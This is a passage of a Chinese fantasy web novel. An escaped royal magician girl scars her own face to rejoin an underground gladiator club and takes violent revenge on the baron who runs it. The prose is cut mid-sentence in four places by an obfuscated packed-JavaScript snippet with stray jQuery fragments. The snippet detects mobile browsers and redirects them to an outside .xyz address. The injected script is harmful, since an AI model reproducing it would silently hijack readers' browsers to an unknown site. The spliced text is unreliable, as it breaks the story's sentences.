要填上这个窟窿,这些从歌登镇收来的黄金,正好。 可是…… 马坎蹙起眉头,最终还是挥了挥手,对站在一旁的年轻骑士说:“尽快带走吧,不要让陛下等急了。” 这位骑士的打扮与寻常骑士不同。他穿着铮亮的白银铠甲,上面覆盖着藤蔓一般缠绕的纹路。从体型上看,甚至比做过军人的马坎男爵还要高大健壮一些。 骑士微微一笑,向马坎男爵欠身行礼。他的姿态谦卑,气势却不输于人。 “谨代表女神感谢您的忠诚。”骑士微笑着说,“那么,再会,霍斯先生。” 马坎站起身,目送着他远去。直到骑士的身影消失在长廊尽头,他才如释重负地松了口气,倒在柔软的沙发上。 他也不想看着这块肥肉从眼前溜走的,可那位不是寻常的骑士。 那是直属弗洛瓦皇室的篱笆骑士团成员,只为皇室成员效力。他会出现在这里,说明弗洛瓦对歌登镇的金子十分在意…… 可弗洛瓦现在应该不缺黄金了。 有必要这样大费周章吗?马坎不解地想。 不论如何,他现在必须想别的办法赚钱了。 要是天上能突然掉个魔法师下来就好了。马坎头疼地想道,一个魔法师出现在角斗场,那些贵族肯定上赶着打赏呢……就像多年以前,希娅还在的时候一样。 或许花神维洛尼亚真的听见了马坎的请求。下一秒,便有人叩响了包厢的门扉。 阿忒菈推门进来,身后跟着一个瘦小的女孩。她身上披着厚实的斗篷,垂下的兜帽遮盖住大半张脸。马坎看不清她的容貌,身上却莫名起了层鸡皮疙瘩——他总觉得这女孩的身形看着十分熟悉。 “主人。”阿忒菈在他面前半跪下来,视线恭顺地落在地上,“我为您带来了一位新的‘斗士’——她是一位魔法师。” 只听前半句话,马坎差点将阿忒菈一脚踹出门去。可听到这弱不禁风的女孩竟是个魔法师,他的眼睛顿时亮了起来。不过这世界上的魔法师高傲得很,不愿与普通人扯上关系,更不用提在这样的地下俱乐部里做“斗士”了。 马坎曾经以贵族的名义接济过一位混血种的魔法师。就这样,对方也只答应帮他在角斗场做一次“预热”而已,酬劳还是普通斗士的十倍…… 想到这里,马坎稍稍找回了一些理智。正常魔法师怎么会跑来这种地方赚钱?他打量着阿忒菈身后的少女,沉吟片刻,张口道:“这位魔法师小姐,角斗场可是很危险的。看你年纪也不大,怎么会想到我们这来赚钱呢?” 马坎有意试探她,希娅却懒得浪费时间。她放下兜帽,露出原本的容貌来——跟着蜃楼奔波躲藏的这段时间里,她没有消瘦,身体还比之前结实了许多。白净的脸颊上已经没有任何受伤的痕迹了,只有那双眼眸依然漆黑一片,让人无法猜透她的情绪。 “别废话了,马坎。”希娅看着他,似笑非笑地说,“看着我这张脸,你想不到原因吗?” 马坎瞪大眼睛,终于知道这女孩身上的熟悉感从何而来了。 克莉希娅!这才一个月不到的时间,她是怎么从皇城逃到这里的!?不对,比起这种事情…… “阿忒菈!”马坎顿了一下,恨铁不成钢地骂了他一句,“你是脑子里只剩女人了吗?!到底在想什么,竟然把她带来见我……守卫,守卫呢!” 阿忒菈高大的身躯颤了一下,慌忙挡在他面前,低下头辩解道:“可是,主人,希娅她现在已经是逃犯了,除了‘女神之血’无处可去。您不是一直想招募一个魔法师吗?如果错过这次机会,以后就……” “招一个皇室逃犯?你怎么不直接把大皇子亚纶绑来呢?”马坎忍无可忍,一脚将他踹到了一边去,“别说了,这女的死在我这我都嫌晦气!” 阿忒菈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975397|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不肯死心。他惦记希娅一年多了,不愿放弃这次来之不易的机会。他爬起身膝行过去,扯住马坎男爵的裤腿,低声道:“只要对希娅的脸做些手脚,就不会有人认出来了!她为俱乐部赚了多少钱,您是知道的……更何况,以前的希娅不是逃犯,都没有人认出她来……现在和那时相比,能有什么区别?” 马坎脚步一顿,神色微动。 放在平时,他绝不会做这样冒险的事。可现在歌登镇的金子没了,俱乐部的窟窿一时也没办法填上……留下希娅的风险很高,收益却是肉眼可见的。只等度过这一次的危机,格拉斯的商人送来新的奴隶,何愁没有大钱赚? 他转过头去看向希娅。面上的表情变幻几遭,现在又是一副高高在上的模样了。 “希娅,你应该也知道,接受你对‘女神之血’来说意味着什么吧?”马坎说着,怜悯地看着她,“你要留下来可以,但是,也得让我看看你的诚意吧。” 希娅将手一抬,沙发上的水果刀便飞到了她的手上。阿忒菈反应极快,几乎是立刻站起身挡在了男爵面前,手中长剑已经抵上希娅的脖颈—— 而希娅只是笑看着他,刀尖一转,把水果刀抵在自己的额头上,一路划了下去。 一道又深又长的伤口出现在她的脸上。从眉骨蔓延到下颌,她甚至没有避开她的眼睛。鲜血一路流淌下来,很快将那张漂亮的脸蛋染得狰狞恐怖起来。 “这就是我的诚意。”希娅面不改色地说,“除了您,不会有人再认出我了。” 她的性命已经捏在马坎手上了。只要一日在女神之血,她就不是什么流落的皇女、奔逃的刑犯,只是个任人驱使的奴隶而已。 马坎向来对弗洛瓦皇室阳奉阴违,他会喜欢这种感觉的。 阿忒菈吃了一惊,连忙收剑入鞘。他纠结了一会儿,转头看向马坎,却见对方眯起眼睛,眸底闪过一道精明的光。 “我真是低估你了,希娅。”马坎摸着下巴,意味深长地说,“你简直是为了这个地方而生的……阿忒菈,带她下去包扎吧,绷带缠多一点,今晚就安排魔法师的首秀!” 阿忒菈行了一礼,带着希娅告退了。 “希娅,我就知道你可以的!”在去往治疗室的路上,他高兴地说,“你不用在外面过担惊受怕的日子了。只要在‘女神之血’,我就会保护你的……” 希娅跟在他身后,打量着他们这一路走来的房间布局。跟她记忆中的大差不差,看来“女神之血”这些年也没什么太大变化。角斗开始时,马坎恐怕也还会在一样的位置观赛…… 她想了一会儿,注意力又被拉回正在说话的阿忒菈身上。 保护?希娅想起刚才他拿剑抵住自己的样子,不禁觉得好笑。 阿忒菈这个人,虽然脑子有问题,实力还是很强的。他在“女神之血”被称为复眼骑士,正是因为他拥有超乎常人的视力和反应能力。在这方面,希娅完全不是阿忒菈的对手。 如果她当时划伤的是马坎男爵,恐怕这会儿已经身首异处了。 不过没关系,在那种地方杀掉马坎太便宜他了。 希娅另有自己的安排——她要让马坎在众目睽睽下绝望地死去,角斗场就是最合适的舞台。 想到这里,她的心脏砰砰地悸动起来。 和这样令人兴奋的结果比较,失去一只眼睛的代价,似乎都变得微不足道了。 35. 第 35 章 时间很快来到深夜。 今夜的“女神之血”,往来的贵客络绎不绝。客人们穿着华贵的正装入场,面上皆覆盖着款式精致的面具,让人无法认出他们的容貌。角斗尚未开始,观众席已被人们挤得满满当当了。 在角斗场的一角,有一块突出的平台,是负责报幕的主持人所在的地方。这个职位一直由柯林担任,他和阿忒菈同为马坎男爵的心腹,但比阿忒菈更伶牙俐齿、讨人喜欢一些,也是这间俱乐部明面上的主事人。 现在,年轻的男人也换上了隆重的装束,戴上了陶瓷做的假面。他走到台上,向着观众席张开双臂,欢快地说:“让各位久等了!哎呀,真是令人怀念,我们‘女神之血’,已经很久没有这么热闹了……” 平台上用支架架起了一块金色的圆石。那是“扩声石”,作用与麦克风相当,柯林的声音也因此能够清晰地传到每个人耳中。 他清了清嗓子,继续开口说道: “想必大家都已经知道了,今夜的‘斗士’,可以说是前无古人——别说在‘女神之血’了,哪怕是现实里,我都从没遇见过呢!” “是的,她是一位魔法师——而且,是一位年纪轻轻的少女法师!”柯林兴奋地说,“可是,是什么让她沦落到要与牢笼中的野兽搏斗来换取报酬呢?大家一定和我一样好奇吧……当然了,野兽可不会管你是魔法师还是战士。更何况今晚我们的第二个主角,还是不久前捕获的大型魔兽!” “现在,还是让我们将目光放在这次传奇的角斗上吧!到底是魔法师功成名就,还是魔兽的野性更胜一筹呢?各位都压好自己的筹码了吗?角斗,就要开始咯——!” 角斗场上,两位“选手”已经准备就绪。希娅被关在一个形似鸟笼的白色笼子里,而那头大型魔兽,则被装在一个巨大的铁笼里,用推车运了过来。 在这个世界,和魔法师一样,“魔兽”也是十分少见的物种。 它们从普通动物变异而来,却比动物更加聪明,甚至会运用一些基础的魔法。这头大型魔兽的原身大约一只老虎,只是受到魔力的影响,整个形状都趋于扭曲,正在笼中痛苦地嘶吼着。 比起来,另一边的希娅,不光身形瘦弱、脸上还缠着厚厚的绷带,从中还有漆黑的血迹渗透出来。看起来就是个弱不禁风的女孩,实在无法让人觉得她能够拥有与魔兽一战的能力。 “这是真的魔法师吗,怎么看起来和普通人一样啊……他们不会找了个普通人来演戏吧?” “真是那样,我可要退钱了!好久没见过过复眼骑士那样强的斗士了,这次说有魔法师,我还买了一万金的筹码……” “这样子真能打过魔兽吗?要不咱们还是压魔兽吧。” “嘿,压魔法师啊!你们都不知道吗,人不可貌相,几年前,角斗场也有个瘦小的斗士,百战百胜,仅次于阿忒菈呢……” 观众席里响起窃窃私语的声音。贵族们掩着面低声交谈,片刻之后,角斗场上方投影出了这场比赛的押注情况。 9000:1000。 几乎是压倒性的选择。 即便是魔法师,也没有人相信这样瘦小的少女能够打败一头大型魔兽,这“9000”是投在魔兽身上的。 此时此刻,马坎男爵坐在角落里,手中把玩着两枚筹码,乐不可支。 在“女神之血”,一枚筹码需要用一枚金币去换,押中则双倍奉还。他知道希娅的能力,这九千枚金币,至少有八千多枚能回到他的口袋。 这头魔兽是阿忒菈抓来的。本来是要给他拿去做表演赛的,但他在俱乐部活跃太久,观众已经审美疲劳。马坎不想浪费它的价值,平时多让它杀些奴隶预热,今天才让这头野兽正式踏上斗场。 希娅啊希娅。 希望她回到皇室的这段时间,没来得及变回养尊处优的样子…… 马坎如是想道。 场边的装置喷出气雾,在一片欢呼声中,两个笼子的大门同时开启。 希娅从鸟笼中走了出来,手上握着一条长鞭。在上场前,她被破例允许挑选“女神之血”最好的冷兵器。但她最后只选了一条鞭子,这让同行的阿忒菈都有些吃惊。反复确认了几次,才让她把鞭子拿走了。 现在,希娅一边用鞭子的手柄敲着掌心,一边观察着角斗场对面那头野兽的动向。 “魔力观测”的状态开启,她忽视右手无名指上的指环,专注地看着魔兽的动作。 和使用法器的人类法师不同,魔兽施展魔法更接近于本能,是不需要借助任何咒语或者道具的。 其魔力凝聚到一定纯度,就能透过皮肤,在“魔力观测”的状态下用肉眼看出来。希娅现在仅有一只眼睛,但不影响她对眼下的情况做出判断。 这只魔兽已经被饿了几天了,急需食物来补充自己的体力。 而希娅不但能填饱它的肚子,身体里又蕴含丰富的魔力。就像一块美味的面包,这头野兽已经对她垂涎三尺了。 希娅没有急于上前,而是站在原地,静静地观察着这头野兽的动作。它已经向希娅摆出攻击的态势来了,喉间隐约闪动异常的光线。 下一秒,一声凌厉的虎啸响彻整个角斗场。 一团黢黑的火球从它口中喷吐出来,以肉眼无法看清的速度向希娅滚去。好在她早有准备,起身灵活地一跃,便避开火球,跳上了鸟笼的顶端。 她松开手,口中念了一串咒语。手里的鞭子仿佛失去重量一般,轻飘飘地随风飞了出去,却也没落到魔兽的身上,就这样消失在偌大的场地里了。 观众席上响起一片喝倒彩的声音。 “魔法师就这?鞭子都拿不动吗?” “你看她那样子,别说鞭子了,走路都费劲吧……‘女神之血’到底是怎么想的,拿这种货色来糊弄人吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991778|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说是魔法师,还不如普通人嘛。幸好我把筹码都押在魔兽身上了,看了这么多年的角斗,可算能回点本了……” 希娅没理会他们,转头看向那枚火球。这种火与普通的火焰不同,通体发黑,而且温度更高。火球滚过的地方只剩下一片焦土,甚至连希娅。可到了观众席前,它竟像是被什么东西生生挡住了。“咚、咚”地撞击了两下空气,便化作一阵浓烟,消散在了原地。 果然,这里和四年前一样,是有结界的。 希娅这样想着,将视线转回到那头野兽身上。 这样持续性的防护结界需要魔法阵维持,普通人是无法将其破坏的。可男爵能让她这个魔法师大咧咧地走上台去,一定也做好了万全的准备,至少能让她一时半会儿没办法破坏隐藏的魔法阵。 现在,希娅一边灵活地躲避魔兽的攻击,一边思考着破解结界的办法。 从魔兽口中喷吐而出的火球来势汹汹,有时上一个还未消散,下一个已经向她冲了过来。希娅启唇念咒,引导风之魔法改变火球的轨迹,让它们避开结界,互相碰撞—— 两个火球对撞之后,发出一道强劲的冲击波。 大地隐隐震颤,希娅抓住鸟笼的栏杆,才不至于被疾风吹飞。 再看角斗场中心,一个巨大的火球正向她缓慢地滚动过来…… 两颗水珠互相碰撞会汇聚为更大的水珠,同源的魔力也有类似的性质。魔兽口中喷吐的火球不是真正意义上的火焰,而是凝为实质的魔力,就像歌登镇矿洞中蜃楼留下的金池。 这头魔兽的魔力与人类的不同,具有更加强大的腐蚀性。那团三米高的融合火球,移动速度变得极慢,但在地面上留下的却不止是焦痕了,而是一道深深的焦坑。 观众席中,此起彼伏的惊叹声响了起来。 许多人半辈子也没见过魔法,如今却在一头野兽的身上大开眼界。有几个好事者带头喊了起来,说什么“撕碎魔法师”、“炼狱之炎虎必胜”,似乎是一时兴起给这只魔兽起的绰号…… 希娅动作一顿,心下飞快有了考量。 足够强力的魔法攻击也能将结界撕开一道口子。她自己还不能调遣那样强大的魔力,这头魔兽却可以。只要这样将它的力量融合起来,她就可以打碎结界,趁乱取走马坎男爵的性命—— 那样强大的魔力一旦引爆,观众席上的人们恐怕也凶多吉少。 以希娅的能力,保全自己还行,没有办法顾及他们的。 在她被皇室找回之前,希娅尚且保存着一丝可笑的天真。即便命运多舛,也从未产生过破坏角斗场的结界、与男爵两败俱伤的想法。然而,现在的希娅,却已经不在乎这些虚伪的慈悲心了。 会在这里观赏“表演”的所有人,没有一个是无辜的。 或者说,大家都是“死不足惜”的。 当然,也包括她自己。 36. 第 36 章 不该再拖下去了。 在蜃楼找到这里之前,她要靠自己速战速决—— 希娅深吸口气,从鸟笼顶端跃了下来。 她抬起手,清风感应到她的魔力,无声地开始流动。与擅长木系魔法、控制藤蔓的哥哥们不同,希娅更善于操控风的力量。她操纵流风甚至无需借助法器,无处不在的空气便是她的第三只手。这也是当年的弗洛瓦女皇极其青睐她的原因——她遗传她的妈妈,是一位优秀的风系魔法师。 现在,风吹着那条脱手的长鞭,悄然落到了魔兽的脖颈上。 下一秒,长鞭骤然收紧。魔兽无法呼吸,狂躁地用兽爪拍打着地面,硕大的头部不断地摇摆,试图从长鞭的束缚中挣脱出来。 但希娅不会给它脱离的机会。她敏捷地跳到了魔兽的后背上,张口念咒,加大控制长鞭的风阻,与此同时,她仅剩的眼睛紧紧地盯着魔兽的咽喉:在那里,一团巨大的魔力正在形成。 另一边,那团巨大的火球也在流风的吹拂下,缓缓地向她滚动过来。 希娅计算着时间,在火球几乎贴到她跟前的一瞬,松开了捆着魔兽的长鞭。魔兽嘶吼一声,张开血盆大口,一团漆黑的火球随之冲了出来,恰好撞在另一团火球上。 空气凝滞了一瞬,紧接着,一阵扭曲的巨浪以碰撞发生点为圆心,迅速地向外扩散开来。 这不仅是冲击波而已。在希娅眼中,一股漆黑、浓稠的雾气正随着火球的碰撞向外逸散。 一滴水汇入液面中会激起水花,瀑布从百米高空奔流而下,汹涌的波涛足够折弯一棵小树的躯干……而这匹魔兽的力量,对于大多数普通人而言,不是水滴,也不是瀑布,而是大海。 巨浪击中围绕在角斗场四周的结界,发出一阵诡异的共鸣声。像是金石震动、又好似铜铃作响,观众席上一时变得喧闹起来。 而希娅唇角微勾,长鞭一甩,竟缠住了野兽坚硬的犬齿。她强迫它张大口腔,与此同时,无形的风将她的长发、披风都自下而上地吹动起来。 经历过两次融合的火球,已经是无比纯净的魔力,希娅的风无法再吹动它了。但它现在停在她面前,硕大的球体正缓缓下降着,还在腐蚀角斗场的地面呢。 这样的力量,已经足够了。 漆黑的火焰在魔兽口中再次成形。这一次,希娅扯下绷带,将沾着她血液的绷带扔进了魔兽的嘴里。 对于魔法师而言,将自己的魔力凝聚为纯净的实体可比施展魔法要困难多了。其中还包含着巨大的隐患:如果实体中掺杂了其他人的魔力,就容易引发“互斥”,小则引发爆燃,大则造成爆炸或空间扭曲,后果不堪设想。 希娅还没办法凝结出自己的魔力实体,但她选择另一个更简单粗暴的方式—— 所有魔法师的血液都蕴含着魔力。 她将自己的血送进魔兽的口中,希娅的魔力与魔兽的火焰发生接触,就像用一根火柴点燃了一条长长的引线…… 引线的尽头,是那团硕大无比的火球。 “互斥”就这样发生了。 先是一阵剧烈的白光,晃得观众席上的众人都睁不开眼睛。紧接着是野兽凄厉的哀嚎,伴随着一声足以震破人类耳膜的巨响。不是蜃楼、而是某个普通魔法师设下的结界,根本没有抵挡这次冲击的力量,空气中出现淡淡的绿色裂痕,紧接着,似乎有什么东西无声地消失了。 观众席失去保护,巨大的气浪将人们吹得人仰马翻。先前还在起哄的观众,此刻终于认识到事情的严重性了——尖叫声响起来,身着华服的贵族们狼狈地四处逃窜。而观众席的一角,马坎从冲击中缓过神来,刚想唤来主事人,却有一片漆黑的影子在他身前停住。 马坎抬起头来,发现希娅不知什么时候离开了角斗场,现在正站在他面前,微笑地看着他。 马坎平民出身,能坐到今天这个位置,不会是歌登那样的草包。 他即刻便认识到了希娅的真正意图—— “你根本不是真心想留在这里!”他皱起眉头,不耐地说道,“克莉希娅,你疯了吗?‘女神之血’要是暴露,你也跑不了的!” “暴露?”希娅轻笑一声,不以为意道,“我无所谓,只要你死在这里就好。” 她扬起手中长鞭,男爵不遑多让,也拔出他挂在腰间的佩剑。空气中寒光一闪,一截短绳落到地上,希娅看了看手中断裂的长鞭,啧了一声,将它丢到了一边。 男爵冷笑一声,将长剑抵上希娅的脖颈:“毛都没长齐的小丫头……没有武器,你还能拿什么杀了我?” 可希娅却没露出惧怕的表情,而是朝他狡黠地一笑。马坎背后一凉,曾在战场上拼搏的经验告诉他背后有异,可真当他要转头看去的时候,一股巨大的推力忽然将他撞飞出去。 与此同时,一把半米长的园艺剪刀几乎贴着他的脸颊飞了出去。 希娅伸手接住剪刀,目光转向男爵身后,表情变得阴沉。 在那里一片飞扬的尘土中,出现了一个男人的身影。 是阿忒菈。 希娅没有杀死角斗场中的魔兽。现在结界遭到破坏,俱乐部的安保忙于保护贵族,这个烫手山芋,必将由阿忒菈亲自解决。 她还指望那头魔兽拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004692|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延一些时间呢。 但是,看阿忒菈现在满身兽血却脸不红心不跳的样子,显然没有达到她预想的效果。 阿忒菈看了希娅一眼,急匆匆地赶到马坎男爵面前跪下。 “是我的疏忽,主人……”他向他请罪,“柯林已经在修复结界了。魔兽处理好了。客人那边没有伤亡……” 马坎男爵跌坐在地,浮在空气中的烟尘呛得他咳嗽连连。男人用力地抹了把脸,站起身来,冷声道:“你在扯什么,阿忒菈?没看到这个丫头想杀死我吗?” 希娅没有给他反应的时机。她将手一甩,那把园艺剪刀便配合地向男爵飞了过去。 “铛”的一声,长剑出鞘,将那把剪刀精准地挡了下来。剑锋之后,是阿忒菈犹疑的眼睛——他可没将希娅的战斗力放在心上,露出这种表情另有原因。 剪刀落到地上,而阿忒菈放下剑,踌躇了一会儿,总算给希娅找到了理由:“希、希娅……你、你应该是不小心的吧?” 希娅气极反笑,更不想与这个男人多费口舌了。 她口中念咒,调动疾风,原本躺在地面上的剪刀又缓慢地飘浮起来。她即将展开对马坎男爵的第三次攻击,而马坎也不愿再拖延下去,对阿忒菈下令道:“还傻愣着干什么?杀了她!我要亲手把她的头颅送到弗洛瓦皇帝手上!” 阿忒菈攥紧手中的剑,表情不忍。 “希娅……”他低下头,手腕微微颤抖起来,“对不起,我也不想——” 话是这样说,阿忒菈手中的剑已经朝着希娅挥去了。希娅拿起园艺剪刀,挡住他的一击,却听一声尖锐的铮鸣,她的手腕都被震得疼痛起来。 在阿忒菈背后,马坎男爵拍拍屁股站了起来。 他还有很多的烂摊子要收拾,已经无心和希娅在这里纠缠,沉着脸就要出门。而希娅将手一挥,一阵疾风吹过,角斗场的大门被用力地关上了。 “……今天、谁都别想出去。” 她一字一句地说,同时咬破自己的舌尖,开始吟诵咒语。 希娅之前的几次施咒,大多是仅有几个音节的简短咒语,那样已经能够做到精准有效地释放。 可这次是不同的。她看着远去的马坎,口中吐出的是一连串的、因语速过快以至于格外高昂的诡谲咒语。没有人能听清她都唱了些什么,只能分辨出那是一长串起伏的音节。而她真正地结束吟诵,却是在几秒钟内发生的事情。 希娅面前的阿忒菈似有感应,向侧一闪。只见空气中闪过一道奇异的紫光,紧接着,他留在希娅面前的半截长剑,竟在刹那间开满了色彩奇异的花朵…… 37. 第 37 章 与此同时,希娅脚边,无数的花朵正不停地向外生长。阿忒菈吃了一惊,正想去解救马坎男爵,却发现对方已经被鲜花缠住,动弹不得了。 “主人,等等,我这就……” 阿忒菈避开生长的花朵,正想斩断那些缠在马坎脚上的花藤,却听马坎骂了他一句,说道:“那些花已经长到我的腿上,废物!别动!弗洛瓦的传说竟然是真的……别管我了,先去杀那个丫头!” 阿忒菈向他颔首,连忙转身对上希娅。可看到希娅现在的模样,他吃了一惊,差点忘记斩断那些向他扑来的花藤。 从希娅那只被割伤的眼球里,竟有一支绿芽从中生长了出来。花苞冲破肌肤,染上她鲜红的血。狰狞的伤口、含苞待放的花骨朵,怎么看都是诡谲无比的搭配,放在希娅身上,竟然平添几分混沌的神性…… “阿忒菈。”希娅漆黑的眼睛看着他,语调甜蜜又诡异,“你不是喜欢我吗?” 阿忒菈愣在原地,胸腔中的心脏猛跳不止:“可是,希娅……” “没关系的,阿忒菈。”她微笑着说,语气中仿佛有着无法让人拒绝的魔力,“你不能抗命,但是可以失败呀。现在放下剑,和你的主人一起被等死就好了。” “能死在我手上,对你来说,会是件比杀死我更幸福的事情吧?” 阿忒菈握着剑沉默,几句话的功夫,脸颊竟泛上可疑的红晕。他似乎是发自内心认为希娅说得有些道理的。骑士挣扎了一会儿,那把一半被嵌上鲜花的长剑还是落到地上,被一拥而上的花枝吞没了。 现在,这座肮脏不堪的角斗场里,终于开满了各式美丽而蓬勃的鲜花。 花朵的甜香弥漫在空气里,阿忒菈跪坐下来,英俊的脸上浮现出沉醉的神色。 而马坎男爵在他身后,动弹不得,只能远远地唾骂他:“忘恩负义的废物!脑子里是只剩下女人了吗?不记得当年是谁救的你了?” 阿忒菈没有回应他。他的眼里只剩下希娅的身影了。 马坎咬着牙,眼看着鲜花从他的小腿一路生长到大腿上,终于坐不住了—— 他搬出他的最后一张底牌。 “柯林!”他大声地呼唤主事人的名字,“你还要看到什么时候?我资助你不是让你来这里袖手旁观的!” 话音刚落,空气中闪过一道翠绿的光。希娅辨别出它与角斗场的结界同出一源,而柯林这个名字,她更是到死也不会忘记! 花朵停止生长,微风拂过,一道水蓝色的身影出现在男爵身边。来人摘下面具,露出年轻而精致的脸庞。 他和蜃楼一样,也是雌雄难辨的长相。 但科林的五官远没有蜃楼来得叫人耿耿于怀,只在凡人中显得独具气质而已。再加上常年戴着面具,表现低调,风头多让阿忒菈出尽了……别说希娅,哪怕是这间俱乐部的常客,恐怕都看不出来他的真实身份—— 他是个魔法师。 现在,魔法师柯林手中捏着一朵雏菊,露出兴致盎然的表情。 “弗洛瓦皇室的潜能,百闻不如一见。”他推了推眼镜,从水蓝色礼服的口袋里取出一条手绢,将其中包着的指环套在手指上,“希娅小姐,像您这样的天才,死在这里未免太过可惜了。我们何不做个双赢的买卖?” 希娅深吸口气,说:“什么买卖?” 她不想周旋,可这个男人的实力在她之上。当然,最重要的是,希娅在“女神之血”呆了将近四年,今天才知道柯林竟然是个魔法师…… 这个人的城府有多深,已经不言而喻。 “今天在‘女神之血’发生的事情,我理解您的心情,可以不追究。”柯林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012069|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微笑着说,他身边的马坎却脸色一变,“不过,这个魔法的咒语……还望您赐教?” 他指了指地上盛开的花。 那些花在短暂的停滞之后又开始向外蔓延了。柯林自己张开了结界,不会受到它的影响。但马坎男爵和几个未来得及逃脱的贵族已经受到了牵连,脚腕上长满鲜艳的花朵,正在原地恐惧地惊叫。 当然,这是表象。 作为一个成熟的魔法师,柯林能看到的是:这些花依托希娅的魔力肆意生长,然后侵蚀所至之处的有机物质,将其转化为野蛮的养分,通过花蔓送回希娅的身体里。 这是一种很有趣的魔法。 它将三要素之一的“能源”,做到了源源不断的转化。柯林用火烧了一朵,但很快又有第二朵、第三朵飞快地生长出来。而作为施术者的希娅,不但没有因此变得虚弱,魔力还更加充盈了…… 但是,这个世界,是没有真正意义上“毫无副作用”的魔法的。 越强大的魔法,对施术者造成的影响也越大。柯林不但想知道它的咒语,更好奇它带来的副作用。 是希娅脸上开出的那朵花苞吗? 希娅陷入沉思,没有再回复他。 正在柯林思考着是否该加些筹码的时候,那把园艺剪刀被风操控着,以迅雷不及掩耳之势向他冲了过来。 “咚”的一声,刀尖打在结界上,发出一声闷响。柯林伸出手,在剪刀落到地上之前接住了它,放在眼前看了看。 他还以为这是希娅的法器,可这么一看,它好像只是一把普通的园艺剪刀。 她的法器在哪儿呢? 柯林好奇地想着,面上露出遗憾的神色。 “看来,这就是您的答案了。”他叹了口气,虚伪地说,“天才陨落,真是件让人悲伤的事情呢。” 38. 第 38 章 角斗场内的场景让蜃楼吃了一惊。 他的目光扫过那几个人形的花团,最后在观众席中央找到他狼狈的女主角。明明才过去几个小时,希娅却好像又回到他刚从铡刀上救下来时的时候了。浑身是血、又瘦又小的样子,看起来就像一只迷途的猫。 他本有些气她不告而别。可再多不满,在见这副样子之后也只剩下不忍。蜃楼在心里叹了口气,正想向她走去,脖颈间却传来一阵淡淡的刺痛。 站在希娅身前的柯林吓了一跳。他转头看见蜃楼,面上现出无比震惊的神色。 柯林张了张嘴唇,含糊地吐了两个字出来。但因声音太小,没能引起蜃楼的注意;倒是他自己倏然双腿一软,像是被抽走了所有力气,歪着身体栽进了繁密的花丛里。 希娅没搭理他,她的目光现在只停留在蜃楼身上了。 少女抿着嘴唇,抬起右手,虚幻的锁链如主人的心境一般生出荆棘,她的目光穿过交错纵横的它们,定定地看向他。 “你是来拦我的吗?”希娅强作镇静地唤了一声,“蜃楼。” 蜃楼顿了一下,没有立即回答她。白发法师还是一贯面无表情的样子,希娅只能看出他至少不是在生气;而后,她便看着他走到她身边,从地上捡起那把园艺剪刀,送回她手上。 “不是的。”蜃楼平静地说,听来确是没抱什么立场,“我只是希望你不要留下心结。” 希娅没有说话,只是抿紧嘴唇,目不转睛地盯着他。 她在那双金色的眼眸里找到狼狈的自己了,却没找见以往的蜃楼惯会显露的嘲讽、鄙夷的颜色。这竟然让她感到安心——这实在是太可笑了。 “那你追过来干什么?”希娅问道,“我不需要你也能杀了他们。” 蜃楼沉默了一会儿,回答道:“来帮你毁尸灭迹。” 希娅瞪大眼睛:“什么?” 蜃楼没说话,只是蹲下身去,在花丛中找到昏迷过去的柯林。“魔力观测”状态开启,他取下柯林手上的法器戒指,放在手心,随后缓慢地念出一串咒语。那枚戒指随咒语化作一滩金色的液体,从掌心汇入他身体里,彻底消失不见。 “要杀人,尸体如果被人发现,会很麻烦。”蜃楼看着她,认真地说,“我可以帮你,就像这样。” 这回轮到希娅吃惊了:“你……追来这里,就为了帮我毁尸灭迹?你不拦我,为什么?” “也不只是为了毁尸灭迹。”蜃楼一边说着,一边站起身来,明明是在谈论违法乱纪的事情,目光却惊人地坦率,“还有带你回家。我拦你干什么?要动手最好动作快点,我在路上已经看到有人往这边来了。” 希娅看着他,好像是第一天认识他似的,目中有些吃惊、还夹杂一些他看不懂的情绪。倒是系统安静了一路,现在看情况稳定,又冒出来凑热闹了:“耶?你不劝劝希娅吗?大人,我还以为你是那种……怎么形容的来着,圣母?” 